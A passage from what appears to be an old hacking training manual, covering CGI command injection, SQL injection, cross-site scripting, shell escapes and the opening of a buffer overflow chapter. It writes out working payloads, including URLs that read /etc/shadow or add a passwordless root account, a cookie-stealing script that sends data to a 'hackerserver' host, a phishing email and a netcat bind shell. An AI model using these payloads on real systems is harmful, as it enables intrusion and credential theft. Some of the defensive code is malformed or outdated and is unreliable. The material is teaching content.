else if (strcmp(buffer, "GET") == 0) { // But if the GET method is used<br />
buffer = getenv("CONTENT_LENGHT");<br />
if(buffer) {<br />
length = atoi(buffer);<br />
data = malloc(buffer + 1);<br />
}<br />
strcpy(data, getenv("QUERY_STRING")); // We copy the data contained in QUERY_STRING into<br />
buffer<br />
data[length] = '\0';<br />
}<br />
}<br />
Once the data sent back to the cgi program, it must be processed, in order to extract the variables'<br />
values: we know that these are separated with the & sign, and the following function could be in<br />
charge <strong>of</strong> recovering the value <strong>of</strong> the first variable in a temporary buffer.<br />
The <strong>Hack</strong>ademy DMP -116/209- SYSDREAM
i=0;<br />
j=0;<br />
while (data[i] != '=') {<br />
variable_name[j++] = data[i++];<br />
}<br />
variable_name[j] = '\0' // we fill in the variable variable_name which will contain the name <strong>of</strong> the<br />
variable as long as a “=” sign will not have<br />
i++; // been encountered.<br />
j = 0;<br />
while(data[i] != '&') {<br />
variable[j++] = data[i++];<br />
}<br />
variable[j] = '\0';<br />
We are also going to specify the exact syntax that a URL can have for the proper understanding <strong>of</strong> the<br />
rest <strong>of</strong> the chapter.<br />
A URL cannot have any space characters, nor can it have any line feed, or any characters with<br />
accents. Their ASCII equivalents have to be used. The two most important ones to know are<br />
%0a for line feed<br />
%20 for space<br />
Now that we have studied how CGIs function, we are going to present security problems linked to<br />
them.<br />
CGI is a program that is executed on the server, it is therefore possible to indicate to it variables that<br />
will have it execute commands that are not wanted by the administrator, or that will allow the<br />
consultation <strong>of</strong> files to which the user should not normally have access, such as the /etc/passwd file<br />
under a UNIX type system, as it contains the list <strong>of</strong> users.<br />
We are going to see several common vulnerabilities which can exist in a CGI program:<br />
• A common mistake is to use hidden type variables in the form: they are presented as follows:<br />
<br />
• The main danger with this type <strong>of</strong> configuration is that it allows a hacker to know the name <strong>of</strong><br />
the variables used by the CGI, which have pre-defined values. He could then try to modify<br />
them to his liking.<br />
• Furthermore, if this variable is being used to indicate any configuration, log or result file<br />
(where the user data will be stored), it will be possible to have the exact path and so it will be<br />
possible to consult them<br />
• It is also a regular occurrence that a hidden field contains an email address where all the<br />
information given by the client will be sent. In this case, the server will use the system()<br />
function to mail these results to the indicated address. This case is studied in the following<br />
paragraph.<br />
• It is also possible for this variable to be used by the CGI as the address <strong>of</strong> a page confirming<br />
reception <strong>of</strong> data. If the script has been badly configurated, we can give another pass to<br />
visualize a file such as /etc/passwd.<br />
The <strong>Hack</strong>ademy DMP -117/209- SYSDREAM
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
In this case, we can see that the “output-url” variable is a script confirming the client's data. If the CGI<br />
is badly configurated, it is then possible to replace its value by:<br />
<br />
And in this result would be displayed the file /etc/passwd<br />
Another very common vulnerability is to call the system() function, which exists in the majority <strong>of</strong><br />
languages. This function enables the CGI program to create a child process which will execute the<br />
command provided in the argument. Let us imagine the likely case where the CGI contains a call to<br />
system() <strong>of</strong> the type:<br />
system("variables1");<br />
In this case, any argument passed to the “variable1” variable would be executed. A URL <strong>of</strong> the:<br />
http://www.xxx.zzz/cgi-bin/test.cgi?variable1=cat%20/etc/passwd<br />
type would display the entire passwd file <strong>of</strong> the system.<br />
Of course a call <strong>of</strong> this type will never be seen in a script, however a widespread mistake will be to call<br />
a system function, <strong>of</strong> the type:<br />
system("/usr/bin/sendmail -t $variable1"); # in a script shell, or<br />
sprintf(buffer, "/usr/bin/sendmail -t %s", variable1); // in a C program<br />
system("buffer");<br />
This function will send back an email to the address contained in variable1.<br />
As we have seen in the section about escape shells, it is possible to have the system execute several<br />
commands consecutively through the same command line. So, by giving this variable a value <strong>of</strong> the<br />
type:<br />
valeur1=test@test.com ; cat /etc/passwd<br />
The call to the system function would become<br />
The <strong>Hack</strong>ademy DMP -118/209- SYSDREAM
system("/usr/bin/sendmail -t test@test.com ; cat /etc/password);<br />
and the consequence would be the display <strong>of</strong> the passwd file.<br />
The URL to be used would therefore be <strong>of</strong> the type:<br />
http://www.xxx.zzz/cgi-bin/test.cgi?variable1=test@test.com;cat%20/etc/passwd<br />
We can also use the example above to modify the value <strong>of</strong> the variable<br />
<br />
par<br />
<br />
Naturally, there can be filters whose aim it is to prevent using this character, but they can be easily<br />
bypassed, by using the && character, whose role it is to have the next command executed if the one<br />
that precedes it has been executed without any problem, or by surrounding the character with two |<br />
characters, so that ; will become |;| , which in some cases will prevent its filtering by CGI.<br />
File opening functions such as fopen() or open() can also be serious security threats. On UNIX, it is<br />
possible to pipe (that is, to send to be processed) the result <strong>of</strong> a function to another function: for this<br />
the | character is used between functions. As it is possible to open a precise file in PERL with the open<br />
() function, it is <strong>of</strong> course impossible to read it, however it is possible to pipe its result to a function that<br />
will then be executed in an independent process. Let us take the example <strong>of</strong> the infosrch.cgi, which is<br />
vulnerable to this method: the fname variable, which is used to open a file, can receive as an<br />
argument any function preceded with a pipe. So we will attempt to read the contents <strong>of</strong> our /<br />
etc/passwd file with the help <strong>of</strong> the /bin/cat command:<br />
The <strong>Hack</strong>ademy DMP -119/209- SYSDREAM
A CGI can also fall victim to a stack overflow. If we come back to the code part given as an example at<br />
the beginning <strong>of</strong> this chapter, we can see that the buffer whose role it is to receive the chain <strong>of</strong><br />
characters passed on to the program is limited to 49 characters. So, if more characters than is<br />
possible are passed on to one <strong>of</strong> the variables, a segmentation error is likely to happen during the<br />
execution <strong>of</strong> the CGI, in which case a stack overflow is to be feared.<br />
Finally, as has been said earlier on, CGIs are likely to interpret arguments that are sent to it without<br />
these being <strong>of</strong> the value1=value&... type, and that is <strong>of</strong> course the case for some <strong>of</strong> them.<br />
Let us take the example <strong>of</strong> the php.cgi CGI:<br />
The <strong>Hack</strong>ademy DMP -120/209- SYSDREAM
In all cases, it is also important to remember all the rights that the web server has. On UNIX, each user<br />
has rights, from the superuser to any simple user. The superuser, or root, has all the rights on the<br />
system, and so if the server has been started by the root, the web server has all the rights on the<br />
system. If we can have the CGI execute a command on a server with this specificity, any cgi<br />
vulnerability can totally compromise the system. Let us take once more the example <strong>of</strong> a CGI<br />
vulnerable to a call to the system() function.<br />
It is possible to modify the passwd file to create a hack login account with no password having all the<br />
rights.<br />
http://www.xxx.zzz/cgi-bin/test.cgi?variable1=test@test.com;echo%20hack::0:0:::%20>>%<br />
20/etc/passwd<br />
It is possible to have access to the system's encrypted passwords, with the /etc/shadow file.<br />
http://www.xxx.zzz/cgi-bin/test.cgi?variable1=test@test.com;cat%20/etc/shadow<br />
It is also possible to have a web server execute any type <strong>of</strong> command, even if root status has not been<br />
obtained. The first thing a hacker will try to obtain is naturally a shell access to the remote system.<br />
Looking for vulnerable CGIs<br />
On the Internet, there a great number <strong>of</strong> CGI programs belonging to the public or the private domain<br />
and on which this type <strong>of</strong> vulnerability has been discovered. What's more, these programs are<br />
generally located in the /cgi-bin directory from the web server root.<br />
It is possible to know if a specific CGI exists on a server by asking the web server through telnet on<br />
port 80. If the answer given by the server is 200, it means that the server exists, otherwise it means<br />
that it doesn't.<br />
The <strong>Hack</strong>ademy DMP -121/209- SYSDREAM
There are however tools that can scan, with this same method, all the known cgis that can be present<br />
on a web server: these are CGI vulnerability scanners. There are some on both Windows and Linux.<br />
For Windows, N-STEALTH is probably the best choice, as all is needed is to be given as an argument<br />
is the remote system's address in the host name:<br />
As for Whisker, it is a scanner that can be used on Linux in command line:<br />
./whisker -h host : simply scans the designated host<br />
Here are the other interesting options:<br />
-H : scan all hosts listed in a file<br />
-p : specify a port other than port 80<br />
-i : whisker tries to use the information already obtained<br />
-v : whisker displays all the information <strong>of</strong> the scan<br />
-l : log the results in a file<br />
-a : use <strong>of</strong> a login list if the server does not authorize a non authenticated access<br />
-p : use <strong>of</strong> a password list if the server does not authorize a non authenticated access<br />
The <strong>Hack</strong>ademy DMP -122/209- SYSDREAM
It is therefore vital to understand that no matter how well a system is configurated at the applicative<br />
level, it can become a real strainer if a CGI program is present on the website. So extra attention has<br />
to be paid to the program codes as well as to how they are used.<br />
4.SQL Injection<br />
SQL injection is a method that can modify an SQL request to bypass authentication, recover data or<br />
delete an SQL database. In the following examples, we will use PHP and a MySQL type database.<br />
These examples also apply to other dynamic languages (e.g. ASP) and other databases (e.g. Oracle,<br />
PostGre, etc...).<br />
For a start, we are going to see how a hacker could bypass an authentication by using the SQL<br />
injection and without knowing the valid login/password. This vulnerability can be used only if the server<br />
(or script) does not filter apostrophes (magic_quotes_gpc=Off) So to test this script you will need a<br />
HTTP server with PHP and Mysql. But you will also need to first create a table in the database with 2<br />
fields (login and pass).<br />
SQL request to create the table:<br />
#<br />
# Table structure for table `writers`<br />
#<br />
CREATE TABLE `writers` (<br />
`id` int(10) NOT NULL auto_increment,<br />
`username` varchar(25) NOT NULL default '',<br />
`password` varchar(25) NOT NULL default '',<br />
PRIMARY KEY (`id`)<br />
) TYPE=MyISAM AUTO_INCREMENT=2 ;<br />
#<br />
# Dumping data for table `writers`<br />
#<br />
INSERT INTO `writers` VALUES (1, 'admin', 'mypass');<br />
The <strong>Hack</strong>ademy DMP -123/209- SYSDREAM
And here is the PHP script which will check if the user is a valid one or not:<br />
The error means that the SQL request is not valid. By including an apostrophe, the initial request was<br />
modified and became invalid for the database:<br />
SELECT * from writers WHERE username = ''' AND password = ''<br />
We now know that we can include SQL code but we have to make the request valid. To do this, we are<br />
going to use the OR operator to force it to carry out a second check.<br />
SELECT * from writers WHERE username='' OR '1'='1' OR '1'='1' AND password=''<br />
This request should answer TRUE. Why? Simply because the condition 1=1 is always true. We could<br />
have chosen something else like 'b'='b' or anything else that is TRUE (true=1 and false=0) But that's<br />
not the end <strong>of</strong> it... You may wonder why put two ORs and not just one ? That is because if we did, the<br />
request would not be valid. Let's take a closer look at this:<br />
SELECT * from writers WHERE username='' OR '1'='1' AND password=''<br />
In this case, the request is not valid because the AND operator is the last one evaluated. You can<br />
check this with your navigator:<br />
By putting two ORs, there are two associations <strong>of</strong> conditions, and in this case, the second OR is the<br />
last one evaluated. And here is the result:<br />
We made it through without knowing the valid login or password.<br />
But we could very well use another SQL injection to pass through this identification. We could for<br />
example use the PHP comment signs to force the script to ignore part <strong>of</strong> the SQL request.<br />
SELECT * from writers where $login='' /*' AND $password='*/ OR '1'='1'<br />
By forcing login='/* and pass=*/or'1'='1 we force the script to ignore part <strong>of</strong> the request, namely:<br />
'AND $password='<br />
The <strong>Hack</strong>ademy DMP -125/209- SYSDREAM
We then obtain a valid request:<br />
SELECT * from writers where $login='' OR '1'='1'<br />
There are other types <strong>of</strong> SQL injections used not to bypass an authentication but to recover, insert,<br />
update or delete data in the base. Let us imagine a site onto which Crashfr has logged in and been<br />
authenticated... Very <strong>of</strong>ten a site where we can create an account will associate several things... For<br />
example a login/pass, name, given name, email and more importantly a level <strong>of</strong> rights. In our example,<br />
the level <strong>of</strong> rights is in the “level” field <strong>of</strong> the “users” table. Level 1 indicates the user is an administrator<br />
and level 2 indicates that the user is a member. When functioning normally, the pr<strong>of</strong>ile.php script does<br />
not allow you to modify your level <strong>of</strong> rights, but as you will see, by using SQL injection, we are going to<br />
increase our level <strong>of</strong> privileges to become an administrator. Here is the script to create our table:<br />
#<br />
# Table structure for table `users`<br />
#<br />
CREATE TABLE `users` (<br />
`id` int(10) NOT NULL auto_increment,<br />
`login` varchar(25) NOT NULL default '',<br />
`password` varchar(25) NOT NULL default '',<br />
`name` varchar(25) NOT NULL default '',<br />
`given name` varchar(25) NOT NULL default '',<br />
`email` varchar(25) NOT NULL default '',<br />
`level` int(1) NOT NULL default '0',<br />
PRIMARY KEY (`id`)<br />
) TYPE=MyISAM AUTO_INCREMENT=2 ;<br />
#<br />
# Dumping data for table `users`<br />
#<br />
INSERT INTO `users` VALUES (1, 'CrashFr', '378b243e220ca493', 'Crash', 'Fr',<br />
'crashfr@thehackademy.net', 2);<br />
And here is our PHP script with which we can modify our pr<strong>of</strong>ile:<br />
}<br />
else{<br />
}<br />
$query = "UPDATE users<br />
SET name = '$name',<br />
given name = '$given name',<br />
email = '$email'<br />
WHERE login = 'Crashfr'";<br />
$result = mysql_query($query);<br />
if(!$result){<br />
print "There is an error in the SQL request !!";<br />
}<br />
else{<br />
print "Updating the pr<strong>of</strong>ile";<br />
print "Cliquez-ici to display your pr<strong>of</strong>ile";<br />
}<br />
$query="SELECT *<br />
FROM users<br />
WHERE login = 'Crashfr'";<br />
$result=mysql_query($query);<br />
$row=mysql_fetch_array($result);<br />
print "Welcome ".$row[login].".";<br />
if($row[level]=="1"){<br />
print "You are administrator";<br />
}<br />
elseif($row[level]=="2"){<br />
print "You are member";<br />
}<br />
else{<br />
print "Error";<br />
}<br />
print "";<br />
print "Updating your pr<strong>of</strong>ile :";<br />
print "";<br />
print "Name : ";<br />
print "Given name : ";<br />
print "Email : ";<br />
print "<br />
The <strong>Hack</strong>ademy DMP -127/209- SYSDREAM
This is what the user sees on the navigator:<br />
The SQL injection will turn to the updating request:<br />
UPDATE users<br />
SET name = '$name',<br />
given name = '$given name',<br />
email = '$email'<br />
WHERE login = 'Crashfr'<br />
We can use one <strong>of</strong> the 3 variables “$name”, “$given name”, “$email” to modify the request and carry<br />
out the elevation <strong>of</strong> our privileges. So our aim is to modify the value <strong>of</strong> the “level” field and to put it to<br />
“1”, to have Administrator status. This is what our final request looks like:<br />
UPDATE users<br />
SET name = 'Crash',<br />
given name = 'Fr',<br />
email = ' crashfr@thehackademy.net',<br />
level = '1'<br />
WHERE login = 'Crashfr'<br />
For “email”, just give as a value what is typed in red in the request above.<br />
The <strong>Hack</strong>ademy DMP -128/209- SYSDREAM
And here is the result:<br />
We are now Administrator...<br />
<strong>Security</strong><br />
To avoid as much as possible an SQL injection, you must absolutely activate the<br />
“magic_quotes_gpc” option (in case you use PHP) which will escape with “/” all dangerous<br />
characters such as apostrophes, quotation marks and antislashes. If ever you cannot activate<br />
the magic_quotes (in case the server is not yours), you can use the function “addslashes()” to do<br />
exactly the same thing. So we could secure our request in this manner:<br />
UPDATE users<br />
SET name = '”.addslashes($name).”',<br />
given name = '”.addslashes($given name).”',<br />
email = 'addslashes($email).”'<br />
WHERE login = 'Crashfr'<br />
As you have certainly understood, all PHP and SQL vulnerabilities are always due to a filtering<br />
problem. If all external variables sent by the user are properly filtered, you will have no problem.<br />
If that is not the case, it puts your data at risk.<br />
The <strong>Hack</strong>ademy DMP -129/209- SYSDREAM
5.XSS<br />
CSS (Cross Site Scripting), called XSS to differentiate the style sheets, is a type <strong>of</strong> attack that can<br />
make a client's navigator execute HTML, javascript, etc. code by having it believe that this code comes<br />
from a trusted site. Generally, the pirate uses this method to recover a cookie (via javascript) or a<br />
login/password (via fake HTML forms). To check if a server is vulnerable to XSS, all you have to do is<br />
include HTML code in a variable that it displays on your navigator. Here is a very simple script<br />
(css.php) to explain the XSS functioning principle:<br />
<br />
Let us imagine that this script is present on a bank website that we will call “<strong>Hack</strong>er Bank”, for<br />
example... This is what the client normally sees on his navigator when all functions normally:<br />
Here is the result when the client clicks on the “Validate” button:<br />
Our script simply echoes the “nickname” variable sent by the form. How could the hacker use this<br />
script? First <strong>of</strong> all, he can attempt to pass HTML through to create a fake form. To do this, we will do a<br />
first test:<br />
Here is the result once the form is validated:<br />
The <strong>Hack</strong>ademy DMP -130/209- SYSDREAM
We can see that CrashFr is now in bold characters! This means the HTML code is not filtered and well<br />
interpreted by the client's navigator. From then on, the pirate will for example create a fake form in<br />
HTML by using the url instead <strong>of</strong> the form. In the case <strong>of</strong> the above example, the hacker can display<br />
CrashFr in bold characters by going to the following url:<br />
css.php?nickname=CrashFr<br />
Here is a URL that will display a fake form enabling the hacker to steal the login/pass <strong>of</strong> a client:<br />
css.php?nickname=CrashFrPlease identify yourself : Login :Password :<br />
Here is what the client will see on his navigator if he clicks on the link above:<br />
The hacker must make his victim click on this link to have him believe that the form is part <strong>of</strong> the<br />
website itself, which is in fact not the case. If the client falls for this trap, he will enter his login/pass and<br />
when he clicks on “Sign-in”, this information will not be sent to the bank's website but to the<br />
“recov_info.php” file on the “hacker server” server belonging to the hacker. Generally, the hacker will<br />
use url encoding, the sending <strong>of</strong> emails in HTML and SE to trap his victim. Here is an example an<br />
HTML email that the hacker could send to his victim:<br />
<br />
<br />
<strong>Hack</strong>er Bank Paris<br />
<br />
<br />
Dear client,<br />
We would like to inform you that your transfer request has been taken into account, you can check your<br />
balance account at click here. We thank you for your trust.<br />
Yours sincerely Pierre Dupart.<br />
Financial adviser for <strong>Hack</strong>er Bank Paris.<br />
<br />
<br />
The <strong>Hack</strong>ademy DMP -131/209- SYSDREAM
To trap his victim more easily, the hacker has encoded the url using a small script like this one:<br />
<br />
This is what the victim will see with his client email interpreting the HTML:<br />
When the victim clicks on the link, he will be redirected to his trusted website, i.e.<br />
www.hackerbank.com. If ever he identifies himself, the hacker will recover his login / password.<br />
We have just seen how to use an XSS. XSS are also used to recover the value <strong>of</strong> a cookie which<br />
generally contains the login/pass <strong>of</strong> a client or a session number. To do this, the hacker will use<br />
javascript, the language executed on the client side. A cookie is generally created when a client gives<br />
his identification on a website to avoid having him give his identification over and over again each time<br />
he changes pages. That is because the value <strong>of</strong> a cookie is sent in every packet that the navigator<br />
emits to a domain having created a cookie on the client's computer. So, if for example the hacker<br />
wants to recover a victim's cookie to log in his place to www.hackerbank.com, he will at first have to<br />
redirect the client to hackerbank.com and make him execute javascript that will recover the value <strong>of</strong> the<br />
cookie if he does not find it in the domain he has created.<br />
To illustrate this example, we are going to imagine that the client has logged on to the server<br />
www.hackerbank.com and that the domain has just created a cookie with the user's login/pass. Here is<br />
a small PHP script which creates a cookie and that is vulnerable to the same XSS as previously:<br />
The <strong>Hack</strong>ademy DMP -132/209- SYSDREAM
Once the client has entered his pseudo, a fictitious login (mylogin) and password (mypass) are created<br />
in a cookie called “authinfo”. Let's see which URL the hacker will use to recover the client's cookie:<br />
css.php?nickname=CrashFrwindow.location.href='http://hackerserver/recup_cookie.php?'%<br />
2Bdocument.cookie;<br />
What happens if the victim clicks on the link above? As the css.php file is on www.hackerbank.com,<br />
the document.cookie variable will be replaced by the value <strong>of</strong> the cookie, namely “mypass:mylogin”<br />
and the navigator will be redirected to the “recov_cookie.php” file stored on the “hackerserver” server<br />
with a variable called “authinfo” containing the value <strong>of</strong> the victim's cookie for the www.hackerbank.com<br />
website. This is what the victim will see when he clicks on the malicious link:<br />
The hacker then only has to recover and save the value <strong>of</strong> the “authinfo” variable in a file and the deed<br />
is done.<br />
The <strong>Hack</strong>ademy DMP -133/209- SYSDREAM
<strong>Security</strong><br />
To prevent the hacker from using XSS, all that has to be done is to properly filter variables, as<br />
always... To do this, there are some very useful functions on PHP. You can use the<br />
“addslashes()” function, which will limit javascript but not HTML. To prevent the client's navigator<br />
from interpreting HTML sent by a form, you have to use the “htmlspecialchars” function. So this<br />
is the code line to modify so that the script can no longer be used:<br />
<br />
Here is the result if the hacker tries to include HTML:<br />
And here is the source <strong>of</strong> the page:<br />
We can see that the HTML tags have been transformed into their entities, so they are not<br />
interpreted by the navigator, they are just displayed.<br />
The <strong>Hack</strong>ademy DMP -134/209- SYSDREAM
CHAPTER V<br />
APPLICATION VULNERABILITIES<br />
The <strong>Hack</strong>ademy DMP -135/209- SYSDREAM
1.Escape Shell<br />
It can happen that the developer needs to have the environment system execute a command in one <strong>of</strong><br />
the programs. Whether it be on Linux or Windows, it is possible to call via a program any external<br />
program. In the majority <strong>of</strong> programming languages (C, C++, PHP, Perl ...), it is possible to carry out<br />
such an action by calling a system() function, to which we will send as an argument the command to<br />
be executed. A security vulnerability can appear when the user can directly or indirectly provide the<br />
argument <strong>of</strong> the system() function.<br />
It is always possible to execute several commands on a same line <strong>of</strong> command, using some operators:<br />
cmd1 && cmd2 : Execute cmd2 if cmd1 is executed successfully.<br />
cmd1 || cmd2 : execute cmd2 if cmd1 returns a failure.<br />
cmd1 | cmd2 : Return the result <strong>of</strong> cmd1 as an argument <strong>of</strong> cmd2.<br />
cmd1; cmd2 : execute cmd1 then cmd2.<br />
Generally, the commands to execute are predefined to call certain specific actions. A case that <strong>of</strong>ten<br />
happens is to use this principle to send emails via the shell mail command, the argument provided by<br />
the user being the contents <strong>of</strong> the message. The code to execute by the system function would then<br />
be:<br />
mail user@mail.com $arg<br />
where variable arg is the message. It is therefore possible for an ill-intentioned user to force through a<br />
second arbitrary command, which would be executed by the server, using the special characters<br />
mentioned previously. If arg is in the form <strong>of</strong> ; command, then command will be interpreted. The<br />
hacker can use this capacity to recover a console access on the target system, by sending the<br />
command:<br />
mail user@mail.com ; nc -l -v -n -p 7777 -e /bin/sh<br />
<strong>Security</strong><br />
A proper protection against this type <strong>of</strong> vulnerability is to first <strong>of</strong> all integrate filters destined to<br />
prevent the sending <strong>of</strong> special characters that can be dangerous. Here is the list <strong>of</strong> these<br />
characters:<br />
& < > | \ ; ` * $ #<br />
as well as the character 0x0A (which represents the Enter key).<br />
The <strong>Hack</strong>ademy DMP -136/209- SYSDREAM
2.Buffer Overflow<br />
Buffer overflow type attacks are among the most common (approximately 60% <strong>of</strong> known attacks). The<br />
idea is to use a bug in the zone manager <strong>of</strong> declared memory in the program, in order to have it<br />
execute an action it is not supposed to. This type <strong>of</strong> attack can be done locally, that is with an account<br />
or an access to the machine, or remotely, so as to have access to the target.<br />
Generally speaking, the arbitrary code that the hacker will want a vulnerable program to execute will<br />
be a shell bind or a remote reverse connection or a simple /bin/sh (on UNIX) locally on a suid root<br />
binary, in order to elevate his privileges, <strong>of</strong>ten up to root status. The principle being the same on both<br />
Linux and Windows, we will study these vulnerabilities on Linux for reasons <strong>of</strong> simplicity.<br />
A) Looking for a vulnerable suid root<br />
The first thing to find on a UNIX system during a local attack is a vulnerable program, but that is not<br />
enough. As we have seen, the hacker above all wants to elevate his privileges. So the idea is to inject<br />
our arbitrary code in a program that is executed with root rights even if it is called by another user. It is<br />
said <strong>of</strong> binaries that are always executed with their owner's rights that their suid root bit is activated.<br />
Here is a simple example to understand their usefulness:<br />
You are a standard user on a Linux system and you wish to change your password. It is obvious that<br />
to do so, you must edit the shadow file to change your password. This file is however not writeable for<br />
a standard user. The passwd program will have to suid root, in order to open /etc/shadow with root<br />
rights to modify the contents relative to the user. If the hacker manages to have this program execute<br />
arbitrary code, for example a call to /bin/sh, this will be executed with root rights, and he will find<br />
himself in possession <strong>of</strong> a shell which will be the suid root,meaning whose actions will all be executed<br />
with root rights.<br />
In order to determine all the suid root programs on a system, we are going to use the find command:<br />
find / -type f -perm -04000<br />
xdream@Laptop:~$ find / -type f -perm -04000<br />
find: /root/xdream/.gconf: Permission denied<br />
find: /root/xdream/nsmail: Permission denied<br />
/root/xdream/tmp/vuln<br />
/root/xdream/tmp/advb<strong>of</strong>/annexes/vuln8<br />
/root/xdream/tmp/vuln3<br />
/root/xdream/tmp/vuln6<br />
/root/xdream/tmp/vuln2<br />
/root/xdream/tmp/vuln5<br />
/root/xdream/tmp/vuln9<br />
/root/xdream/tmp/vuln10<br />
/usr/bin/newgrp<br />
/usr/bin/chage<br />
/usr/bin/chfn<br />
/usr/bin/chsh<br />
/usr/bin/gpasswd<br />
/usr/bin/passwd<br />
/usr/bin/cardinfo<br />
The <strong>Hack</strong>ademy DMP -137/209- SYSDREAM
usr/bin/at<br />
/usr/bin/crontab<br />
/usr/bin/gpgd<br />
/usr/bin/mtr<br />
/usr/bin/procmail<br />
/usr/bin/sudo<br />
/usr/bin/artswrapper<br />
/usr/bin/kcheckpass<br />
/usr/bin/konsole_grantpty<br />
Please note that a program with an activated suid bit will be executed with its owner's rights, it is<br />
therefore entirely possible to encounter on a system suid programs <strong>of</strong> another system user.<br />
To activate this bit, we use the chmod command:<br />
chmod 4755 binary<br />
chmod +s binary<br />
B) General explanation <strong>of</strong> the ELF format<br />
A binary is not a simple succession <strong>of</strong> assembler instructions calling each other successively, but is<br />
made up <strong>of</strong> a certain number <strong>of</strong> other elements. First <strong>of</strong> all there is an ELF header (a vital element <strong>of</strong><br />
any executable on this format). We will also encounter the various sections used to classify some<br />
elements (variables, executable code, ...) that are dispatched in different memory segments.<br />
[ELF Header]<br />
The ELF header contains the necessary information, such as the localization <strong>of</strong> the program's other<br />
structures, as well as their localization in memory ... It is the element vital to any ELF program.<br />
[ELF Segments]<br />
The various sections are grouped into segments. All these headers (one for each segment) can be<br />
found in the segment header table, which is itself defined directly after the ELF header in the bin file.<br />
[ELF Sections]<br />
Sections are zones that will be loaded in memory during the execution <strong>of</strong> the binary. Each <strong>of</strong> these<br />
sections also has a header that is defined in the section headers table. This table can be found at the<br />
end <strong>of</strong> the binary file.<br />
We can localize each <strong>of</strong> these sections, as well as the information concerning them thanks to two tools<br />
(objdump and readelf):<br />
The <strong>Hack</strong>ademy DMP -138/209- SYSDREAM
xdream@Laptop:/$ readelf -a /bin/ls<br />
...<br />
Section Headers:<br />
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al<br />
[ 0] NULL 00000000 000000 000000 00 0 0 0<br />
[ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1<br />
[ 2] .note.ABI-tag NOTE 08048128 000128 000020 00 A 0 0 4<br />
[ 3] .hash HASH 08048148 000148 000274 04 A 4 0 4<br />
[ 4] .dynsym DYNSYM 080483bc 0003bc 000580 10 A 5 1 4<br />
[ 5] .dynstr STRTAB 0804893c 00093c 0003af 00 A 0 0 1<br />
[ 6] .gnu.version VERSYM 08048cec 000cec 0000b0 02 A 4 0 2<br />
[ 7] .gnu.version_r VERNEED 08048d9c 000d9c 000090 00 A 5 2 4<br />
[ 8] .rel.dyn REL 08048e2c 000e2c 000028 08 A 4 0 4<br />
[ 9] .rel.plt REL 08048e54 000e54 000280 08 A 4 b 4<br />
[10] .init PROGBITS 080490d4 0010d4 000017 00 AX 0 0 1<br />
[11] .plt PROGBITS 080490ec 0010ec 000510 04 AX 0 0 4<br />
[12] .text PROGBITS 080495fc 0015fc 009b18 00 AX 0 0 4<br />
[13] .fini PROGBITS 08053114 00b114 00001d 00 AX 0 0 1<br />
[14] .rodata PROGBITS 08053140 00b140 003828 00 A 0 0 32<br />
[15] .eh_frame_hdr PROGBITS 08056968 00e968 00002c 00 A 0 0 4<br />
[16] .data PROGBITS 08057000 00f000 0000ec 00 WA 0 0 32<br />
[17] .eh_frame PROGBITS 080570ec 00f0ec 00009c 00 A 0 0 4<br />
[18] .dynamic DYNAMIC 08057188 00f188 0000d0 08 WA 5 0 4<br />
[19] .ctors PROGBITS 08057258 00f258 000008 00 WA 0 0 4<br />
[20] .dtors PROGBITS 08057260 00f260 000008 00 WA 0 0 4<br />
[21] .jcr PROGBITS 08057268 00f268 000004 00 WA 0 0 4<br />
[22] .got PROGBITS 0805726c 00f26c 000154 04 WA 0 0 4<br />
[23] .bss NOBITS 080573c0 00f3c0 00038c 00 WA 0 0 32<br />
[24] .shstrtab STRTAB 00000000 00f3c0 0000c3 00 0 0 1<br />
Key to Flags:<br />
W (write), A (alloc), X (execute), M (merge), S (strings)<br />
I (info), L (link order), G (group), x (unknown)<br />
O (extra OS processing required) o (OS specific), p (processor specific)<br />
...<br />
The most important sections:<br />
.ctors et .dtors: These sections contain the memory addresses <strong>of</strong> the functions that need to be called<br />
both at the beginning and at the end <strong>of</strong> the program. These sections are specific to the gcc compiler<br />
(the standard compiler on Linux).<br />
.text: This section contains the executable code <strong>of</strong> the program.<br />
.data: This section contains all the global variables <strong>of</strong> the program.<br />
.rodata: Section where the constants are defined..<br />
.bss: Contains the global variables.<br />
The <strong>Hack</strong>ademy DMP -139/209- SYSDREAM
.got: Each entry <strong>of</strong> this section contains among other things the absolute address <strong>of</strong> the various<br />
functions, whether they are dynamic or not. This table enables the program to have a direct access to<br />
the various functions it could call.<br />
.plt: Each function that will have been previously called in the program will be referenced in this<br />
function. Each entry will be able, among other things, to jump onto the address <strong>of</strong> the .got containing<br />
the absolute address <strong>of</strong> the function called.<br />
C) Execution <strong>of</strong> a program in memory<br />
The .text function is made up <strong>of</strong> a succession <strong>of</strong> assembler instructions that make up the executable<br />
code <strong>of</strong> the program. It is a succession <strong>of</strong> routines and subroutines that call each other one after the<br />
other. Let us take a simple example, and let us give an asm equivalent:<br />
int func() {<br />
printf("\nI am the function func\n");<br />
}<br />
int main() {<br />
func();<br />
}<br />
In asm:<br />
Dump <strong>of</strong> assembler code for function func:<br />
|---->0x8048344 : push %ebp<br />
| 0x8048345 : mov %esp,%ebp<br />
| 0x8048347 : sub $0x8,%esp<br />
| 0x804834a : movl $0x8048484,(%esp,1)<br />
| 0x8048351 : call 0x8048268 <br />
| 0x8048356 : leave<br />
| ----0x8048357 : ret<br />
| | End <strong>of</strong> assembler dump.<br />
| |<br />
| | Dump <strong>of</strong> assembler code for function main:<br />
| | 0x8048358 : push %ebp<br />
| | 0x8048359 : mov %esp,%ebp<br />
| | 0x804835b : sub $0x8,%esp<br />
| | 0x804835e : and $0xfffffff0,%esp<br />
| | 0x8048361 : mov $0x0,%eax<br />
| | 0x8048366 : sub %eax,%esp<br />
|---- 0x8048368 : call 0x8048344 <br />
|--->0x804836d : leave<br />
0x804836e : ret<br />
0x804836f : nop<br />
End <strong>of</strong> assembler dump.<br />
The <strong>Hack</strong>ademy DMP -140/209- SYSDREAM
A few assembler notions<br />
Let us see several essential assembler instruction:<br />
call 0x8048344 : When a routine calls a subroutine, it does an instruction call, which then<br />
jumps onto the address <strong>of</strong> the jump function in the .text section.<br />
ret : When all the instructions <strong>of</strong> a subroutine have been executed, the program returns to the<br />
address following the call on this subroutine. In this example, the call to the RET instruction at the<br />
0x8048357 address will make the program jump to the address following the func call, that is<br />
0x804836d. This instruction present at the end <strong>of</strong> eacj subroutine is actually a macro that successively<br />
executed<br />
pop %eip<br />
jmp %eip<br />
Registers<br />
